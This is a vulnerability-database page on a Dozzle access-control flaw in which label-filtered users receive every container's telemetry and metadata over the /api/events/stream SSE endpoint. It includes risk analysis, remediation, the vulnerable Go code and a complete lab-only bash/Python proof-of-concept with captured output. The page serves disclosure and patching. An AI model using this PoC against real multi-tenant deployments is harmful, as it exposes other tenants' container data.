Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain valid low-privilege filtered account
-
ExploitOpen /api/events/stream SSE stream
-
ExecutionReceive unfiltered container-stat and container-event channels
-
ImpactEnumerate out-of-scope container names/images/labels and live telemetry
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V14 - Data Protection Data exposure prevention
MITRE ATT&CK
2 techniques across 2 tactics: Collection, Discovery The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Requires a Dozzle instance (v10.6.5 and earlier, pre-v10.6.7) running with authorization enabled (e.g. DOZZLE_AUTH_PROVIDER=simple) AND at least one user account whose users.yml 'filter:' label restricts visibility to a subset of containers - the standard multi-tenant/environment-segregated configuration. The attacker must hold valid credentials for any account (the leak covers whatever that account's filter excludes). No shell/actions/download role and no victim interaction are required. Limiting factors: authentication is mandatory (PR:L), and the flaw has zero impact on single-user or unfiltered deployments since there is no isolation boundary to cross; disclosure is bounded to container metadata (name/image/labels) and resource telemetry - it does not expose log contents, environment-variable values, or exec/attach capability. |
| Impact | This is a genuine but modest-severity issue, correctly rated LOW (NVD 3.1 4.3, CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N). The CVSS vector is internally consistent with the description: network-reachable SSE endpoint, low complexity, requires an authenticated low-privilege account (PR:L), no user interaction, and confidentiality-only impact bounded to container metadata and resource telemetry (C:L; no I/A). No EPSS score, KEV listing, or SSVC decision data was provided, so automated exploitation probability cannot be quantified; absence of KEV means no confirmed active exploitation. However, the GitHub advisory ships a complete, self-contained working proof-of-concept, so publicly available exploit code effectively exists - this raises practical ease-of-abuse well above the raw score for anyone who already holds a filtered account. The key limiter that keeps real-world risk low: it only matters in multi-user/multi-tenant deployments that actually use per-user label filters as an isolation boundary; single-user or unfiltered Dozzle installs have nothing to leak. Net: not an urgent priority in isolation, but a real authorization-boundary defeat that multi-tenant Dozzle operators should patch promptly. |
| Exploit ScenarioDerived | In a multi-tenant Dozzle instance where the 'guest' account is filtered to only its own containers, an authenticated low-privilege user opens the standard /api/events/stream SSE stream that the normal UI opens on load. While the filtered list channel correctly shows only their one authorized container, the unfiltered container-stat and container-event channels deliver live CPU/memory/network/disk telemetry plus lifecycle events carrying the name, image, and full label map (e.g. secretproject=acme-payroll) of every out-of-scope container on every monitored host. A complete working PoC accompanies the advisory, so no exploit development is needed. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Sep 24, 2026
Label-filter isolation in Dozzle 10.6.5 and earlier is bypassed through the SSE events endpoint (GET /api/events/stream), so any authenticated user - including one explicitly constrained by a users.yml 'filter:' label to a single container scope - receives live CPU/memory/network/disk telemetry and lifecycle metadata for every container on every monitored host. The flaw requires authorization to be enabled (e.g. DOZZLE_AUTH_PROVIDER=simple) and at least one account using per-user label filters, which is the standard multi-tenant or environment-segregated configuration; the attack needs only valid credentials (PR:L) and no special shell/actions/download role or victim interaction. Impact is bounded to metadata and telemetry (container name, image, full label map, and resource counters) rather than log contents, environment variables, or exec/attach capability, which is consistent with the assessed CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N rating of 4.3 (CWE-200). A lab-only proof-of-concept script is published in the vendor advisory demonstrating the leak; there is no evidence of active exploitation (not in CISA KEV).
RemediationAI
Upgrade Dozzle to v10.6.7 or later (the release containing PR #4803 / commit 19c01e0fb491c170796edba3da2692562c204e77; Go module fix version 1.29.1-0.20260622172006-19c01e0fb491), which gates container-stat on a per-connection set of container IDs visible under the caller's userLabels and drops container-event, container-updated and container-health payloads that do not resolve under that filter. Patched vendor advisory: https://github.com/amir20/dozzle/security/advisories/GHSA-xcw9-qmmf-vqxj. If an immediate upgrade is not possible, the effective compensating control is to stop relying on per-user label filters as the tenant boundary: run a separate Dozzle instance per tenant or environment with its own restricted Docker socket scope (or Docker socket proxy filtering), which removes the shared telemetry fan-out entirely at the cost of additional operational overhead and duplicated configuration. Alternatively, place Dozzle behind a reverse proxy that restricts GET /api/events/stream to identities that are permitted to see all containers on the host, accepting that the live UI event stream will be unavailable to restricted users. Neither workaround is a fix - note that this issue only manifests where label filters are actually used, so deployments with a single unrestricted user require no configuration change beyond routine patching, and blinded or unauthenticated exposure of Dozzle to untrusted networks should be eliminated regardless.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in go, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
CWE-200 (Exposure of Sensitive Information) arising in Go code in internal/web/events.go: the streamEvents handler correctly derives the caller's userLabels from auth.UserFromContext and applies them to the initial container list (ListAllContainers(userLabels)) and to incremental containers-changed updates (ListContainersForHost(event.Host, userLabels)), but it pipes two other server-sent event channels directly to the client without any label comparison. The metadata/telemetry plane in Dozzle is fed by hostService.SubscribeEventsAndStats, implemented in internal/support/docker/multi_host_service.go, which iterates over every registered Docker client/host and calls client.SubscribeEvents and client.SubscribeStats with no ContainerFilter argument at all - mirroring the signature of SubscribeContainersStarted, which does accept a filter. Consequently the container-stat channel emits ContainerStat payloads (id, cpu, memory, memoryUsage, networkRxTotal, networkTxTotal, diskReadTotal, diskWriteTotal) for every container, and the container-event channel emits ContainerEvent payloads carrying host, actorId, and actorAttributes (a map that for start events includes the container name, image, and complete label set). Because the label map itself often encodes tenant, project or environment identity (for example secretproject=acme-payroll), the bypass defeats the exact access-control boundary the filter feature documents in docs/guide/authentication.md. The handler also passes actor/container data through the container-updated and container-health branches, which the upstream fix addressed with the same visibility gate. The patch (PR #4803, commit 19c01e0fb491c170796edba3da2692562c204e77, released as v10.6.7) maintains a per-host set of visible container IDs built from the filtered list, updates it on each containers-changed refresh, drops any container-stat whose ID is not in the set, and requires container-event payloads to resolve to a visible container (including event.Container.ID where present) before forwarding.
Know when Dozzle gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Network SSE endpoint reachable by any authenticated user (PR:L, AV:N, AC:L, UI:N); confidentiality-only leak of container metadata/telemetry (C:L), no integrity/availability or scope change.
Primary rating from Vendor (https://github.com/amir20/dozzle).
CVSS VectorVendor: https://github.com/amir20/dozzle
DescriptionCVE.org
Summary
Dozzle supports per-user label filters in users.yml that are documented as an access-control boundary: "Filters are used to restrict the containers that a user can see" and "the guest user can only see containers with the label com.example.app … useful for restricting access to specific containers" (docs/guide/authentication.md). This is the mechanism operators use to give different users/tenants visibility into disjoint subsets of containers on the same host.
The events stream handler streamEvents (GET /api/events/stream) honors that filter for the initial container list and for the incremental containers-changed updates, but it forwards two other channels - container-stat (live per-container CPU, memory, network and disk telemetry) and container-event (container lifecycle events: start/die/destroy/rename/pause/unpause, with the container's full attribute/label set) - to every authenticated client unconditionally, with no comparison against the caller's label filter. The upstream subscription SubscribeEventsAndStats fans out across every Docker client/host and never receives a label filter at all.
As a result, any authenticated user - including one explicitly constrained to a single label scope - receives live resource telemetry for every container on every monitored host, plus lifecycle events carrying each container's name, image and complete label map. This crosses the exact isolation boundary the filter feature is documented to enforce. The leak requires no special role (it is not gated behind the shell/actions/download roles) and works on the local Docker host, so it is distinct from the previously-patched agent-path exec/attach bypass (CVE-2026-24740 / GHSA-m855-r557-5rc5) and from the exec/attach CSWSH issue (CVE-2026-44985 / GHSA-j643-x8pv-8m67).
Affected code (v10.6.5)
internal/web/events.go - streamEvents. The handler resolves the caller's userLabels and applies them to the initial list (ListAllContainers(userLabels)) and to the containers-changed increment (ListContainersForHost(event.Host, userLabels)), but forwards container-stat and the raw container-event with no filter check:
h.hostService.SubscribeEventsAndStats(r.Context(), events, stats) // no labels passed
...
userLabels := h.config.Labels
if h.config.Authorization.Provider != NONE {
user := auth.UserFromContext(r.Context())
if user.ContainerLabels.Exists() {
userLabels = user.ContainerLabels
}
}
allContainers, errors := h.hostService.ListAllContainers(userLabels) // filtered (correct)
...
case stat := <-stats:
if err := sseWriter.Event("container-stat", stat); err != nil { // NOT filtered
...
}
case event, ok := <-events:
...
switch event.Name {
case "start", "die", "destroy", "rename", "pause", "unpause":
if event.Name == "start" || event.Name == "rename" {
if containers, err := h.hostService.ListContainersForHost(event.Host, userLabels); err == nil {
... sseWriter.Event("containers-changed", containers) ... // filtered (correct)
}
}
if err := sseWriter.Event("container-event", event); err != nil { // NOT filtered
...
}internal/support/docker/multi_host_service.go - SubscribeEventsAndStats subscribes to events and stats from every client with no label filter argument:
func (m *MultiHostService) SubscribeEventsAndStats(ctx context.Context, events chan<- container.ContainerEvent, stats chan<- container.ContainerStat) {
for _, client := range m.manager.List() {
client.SubscribeEvents(ctx, events)
client.SubscribeStats(ctx, stats)
}
}The payloads carry the disclosed data. ContainerStat (internal/container/types.go) includes id, cpu, memory, memoryUsage, networkRxTotal, networkTxTotal, diskReadTotal, diskWriteTotal. ContainerEvent includes host, actorId and actorAttributes (a map[string]string), which for start events contains the container name, image, and every label.
Attacker model / precondition
The attacker is an authenticated low-privilege user of a Dozzle instance configured with simple auth (DOZZLE_AUTH_PROVIDER=simple) and at least one user whose filter: restricts them to a subset of containers - the standard multi-user / multi-tenant configuration the filter feature exists for. The attacker holds valid credentials for such a restricted account (or any account; the leak applies to whatever the account's filter excludes). No shell/actions/download role is required and no victim interaction is needed; the attacker simply opens the SSE stream that the normal UI already opens on load.
What bounds severity: the disclosure is limited to container metadata and resource telemetry - it does not by itself expose container log contents, environment-variable values, or the ability to exec/attach (those paths apply the filter correctly on the local host). It requires an authenticated account and only matters when per-user filters are actually used to separate tenants/environments; a single-user or unfiltered deployment has nothing to leak. Hence Confidentiality:Low, no Integrity/Availability impact.
Impact
A user constrained to one label scope can continuously enumerate, on every monitored host:
- The existence and identity of every container outside their scope, via
container-eventactorIdplusactorAttributes(container name, image name, and the full label map - which is exactly the information the filter feature is meant to hide, and may itself encode tenant/project/environment names such assecretproject=acme-payroll). - Live operational telemetry for those containers - CPU%, memory% and bytes, network RX/TX totals, disk read/write totals - updated every few seconds, enabling activity profiling, traffic/throughput inference, and load monitoring of other tenants' workloads.
- Lifecycle activity (deployments, restarts, crashes, pauses) of out-of-scope containers in real time.
In a multi-tenant or environment-segregated deployment (dev user must not see prod, tenant A must not see tenant B), this defeats the intended isolation for the telemetry/metadata plane while the UI still presents the user with their correctly-filtered single-container view.
Proof of Concept (complete - runs on 127.0.0.1 only)
Lab only. Requires Docker on the local host. Uses the official amir20/dozzle:v10.6.5 image. It creates one container the guest user is allowed to see (label visible=yes) and one the guest must NOT see (dz_secret, no such label), logs in as the restricted guest, and shows that the documented filtered channel returns exactly the one authorized container while the container-stat and container-event channels leak the forbidden container's telemetry and metadata.
set -e
WORK=$(mktemp -d); cd "$WORK"; mkdir -p data
# 1. Build a users.yml with an unrestricted admin and a guest filtered to label=visible=yes.
docker run --rm amir20/dozzle:v10.6.5 generate admin --password adminpass --name Admin > data/users.yml
docker run --rm amir20/dozzle:v10.6.5 generate guest --password guestpass --name Guest \
--user-filter "label=visible=yes" --user-roles all > guest.yml
python3 - <<'PY'
admin=open("data/users.yml").read()
guest=open("guest.yml").read().split("users:\n",1)[1]
open("data/users.yml","w").write(admin.rstrip()+"\n"+guest)
PY
# 2. Start two workload containers: one the guest IS allowed to see, one it is NOT.
docker rm -f dz_visible dz_secret dozzle_lab 2>/dev/null || true
docker run -d --name dz_visible --label visible=yes alpine \
sh -c 'while true; do echo "visible-log $(date)"; sleep 2; done' >/dev/null
docker run -d --name dz_secret --label secretproject=acme-payroll alpine \
sh -c 'while true; do echo "SECRET-log $(date)"; sleep 2; done' >/dev/null
# 3. Start Dozzle v10.6.5 with simple auth, bound to loopback only.
docker run -d --name dozzle_lab -p 127.0.0.1:8083:8080 \
-v /var/run/docker.sock:/var/run/docker.sock:ro \
-v "$PWD/data:/data" \
-e DOZZLE_AUTH_PROVIDER=simple \
amir20/dozzle:v10.6.5 >/dev/null
sleep 4
B=http://127.0.0.1:8083
SECRET_ID=$(docker inspect -f '{{.Id}}' dz_secret)
VIS_ID=$(docker inspect -f '{{.Id}}' dz_visible)
# 4. Authenticate as the restricted guest.
curl -s -c guest.cookies -X POST "$B/api/token" -d 'username=guest' -d 'password=guestpass' -o /dev/null
# 5. Capture the events SSE stream as the guest for ~10s, triggering a lifecycle
# event on the forbidden container partway through.
( timeout 10 curl -s -N -b guest.cookies "$B/api/events/stream" > guest_events.txt 2>/dev/null ) &
sleep 3
docker restart dz_secret >/dev/null
# generate die/start container-events for dz_secret
wait
# 6. Analyze: the documented filtered channel vs the two leaking channels.
python3 - "$SECRET_ID" "$VIS_ID" <<'PY'
import json,sys
secret,vis=sys.argv[1],sys.argv[2]; s12,v12=secret[:12],vis[:12]
ev=None; list_ids=set(); stat_ids=set(); evt=[]
secret_stat=None; secret_start_attrs=None
for line in open("guest_events.txt"):
line=line.rstrip("\n")
if line.startswith("event:"): ev=line[6:].strip()
elif line.startswith("data:"):
try: j=json.loads(line[5:].strip())
except: continue
if ev=="containers-changed" and isinstance(j,list):
for c in j:
if isinstance(c,dict) and c.get("id"): list_ids.add(c["id"])
elif ev=="container-stat" and isinstance(j,dict):
if j.get("id"): stat_ids.add(j["id"])
if j.get("id")==s12: secret_stat=j
elif ev=="container-event" and isinstance(j,dict):
evt.append((j.get("name"),j.get("actorId")))
if j.get("actorId")==s12 and j.get("actorAttributes"):
secret_start_attrs=j["actorAttributes"]
print("=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===")
print(" containers the guest is authorized to see:", len(list_ids), "->", sorted(x[:12] for x in list_ids))
print(" secret container present?:", s12 in {x[:12] for x in list_ids}, "(expected False)")
print()
print("=== LEAK CHANNEL 1: container-stat (NOT filtered) ===")
print(" distinct containers in stat stream:", len(stat_ids))
print(" secret container telemetry leaked?:", s12 in {x[:12] for x in stat_ids}, "(VULN if True)")
if secret_stat: print(" leaked dz_secret stat payload:", json.dumps(secret_stat))
print()
print("=== LEAK CHANNEL 2: container-event (NOT filtered) ===")
print(" lifecycle events leaked for dz_secret:", [e for e in evt if e[1]==s12])
if secret_start_attrs: print(" leaked dz_secret attributes:", json.dumps(secret_start_attrs))
PY
# 7. Cleanup.
docker rm -f dz_visible dz_secret dozzle_lab >/dev/null
cd /; rm -rf "$WORK"Observed output (host details elided; the salient lines):
=== DOCUMENTED FILTERED CHANNEL (containers-changed / initial list) ===
containers the guest is authorized to see: 1 -> ['87a94222ba1d']
secret container present?: False (expected False)
=== LEAK CHANNEL 1: container-stat (NOT filtered) ===
distinct containers in stat stream: 10
secret container telemetry leaked?: True (VULN if True)
leaked dz_secret stat payload: {"id": "9ec5e9a970d9", "cpu": 0, "memory": 0.00228, "memoryUsage": 487424, "networkRxTotal": 2444, "networkTxTotal": 126, "diskReadTotal": 0, "diskWriteTotal": 0}
=== LEAK CHANNEL 2: container-event (NOT filtered) ===
lifecycle events leaked for dz_secret: [('die', '9ec5e9a970d9'), ('start', '9ec5e9a970d9')]
leaked dz_secret attributes: {"env": "prod", "image": "nginx:alpine", "name": "dz_secret", "secretproject": "acme-payroll"}The guest is authorized for exactly one container (the documented filter works for the list channel), yet the same stream delivers live telemetry for ten containers - including dz_secret - and leaks dz_secret's name, image and labels (including secretproject=acme-payroll) via lifecycle events. The negative control is the containers-changed/list channel returning a single container; the positive result is the stat/event channels returning the forbidden container.
Remediation
Apply the caller's userLabels to the container-stat and container-event channels in streamEvents, exactly as is already done for the container list. Concretely:
- Maintain, per connection, the set of container IDs visible under the caller's
userLabels(it is already computed for the initial list and refreshed oncontainers-changed), and drop anycontainer-statwhoseidis not in that set before callingsseWriter.Event("container-stat", ...). - For each
container-event, resolve the event's container underuserLabels(e.g. viaFindContainer(event.Host, event.ActorID, userLabels)on the local/Docker path, which honors labels) and forward the event only if it resolves; otherwise skip it. Do the same for thecontainer-updatedandcontainer-healthbranches, which carryactorId/container data for arbitrary containers. - Alternatively/additionally, push the label filter down into
SubscribeEventsAndStatsso the fan-out itself only emits stats/events for containers matching the caller's filter, mirroring howSubscribeContainersStartedalready takes aContainerFilter. - Add regression tests asserting that a user with
filter: label=visible=yesreceivescontainer-statandcontainer-eventonly for matching containers, even when other containers are active on the host.
Please credit 5ud0 / Tarmo Technologies.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Information disclosure occurs when an application unintentionally exposes sensitive data that aids attackers in reconnaissance or directly compromises security.
Critical access control flaw in Dozzle Docker log viewer allows users restricted by label filters to escape their scope
Dozzle is a realtime log viewer for docker containers. Rated high severity (CVSS 7.5), this vulnerability is remotely ex
Log-download path traversal (Zip Slip) in Dozzle before 11.1.2 allows attackers who control container display names to e
EUVD-2026-86343
GHSA-xcw9-qmmf-vqxj
NVD
CVE.org
EPSS
Exploit-DB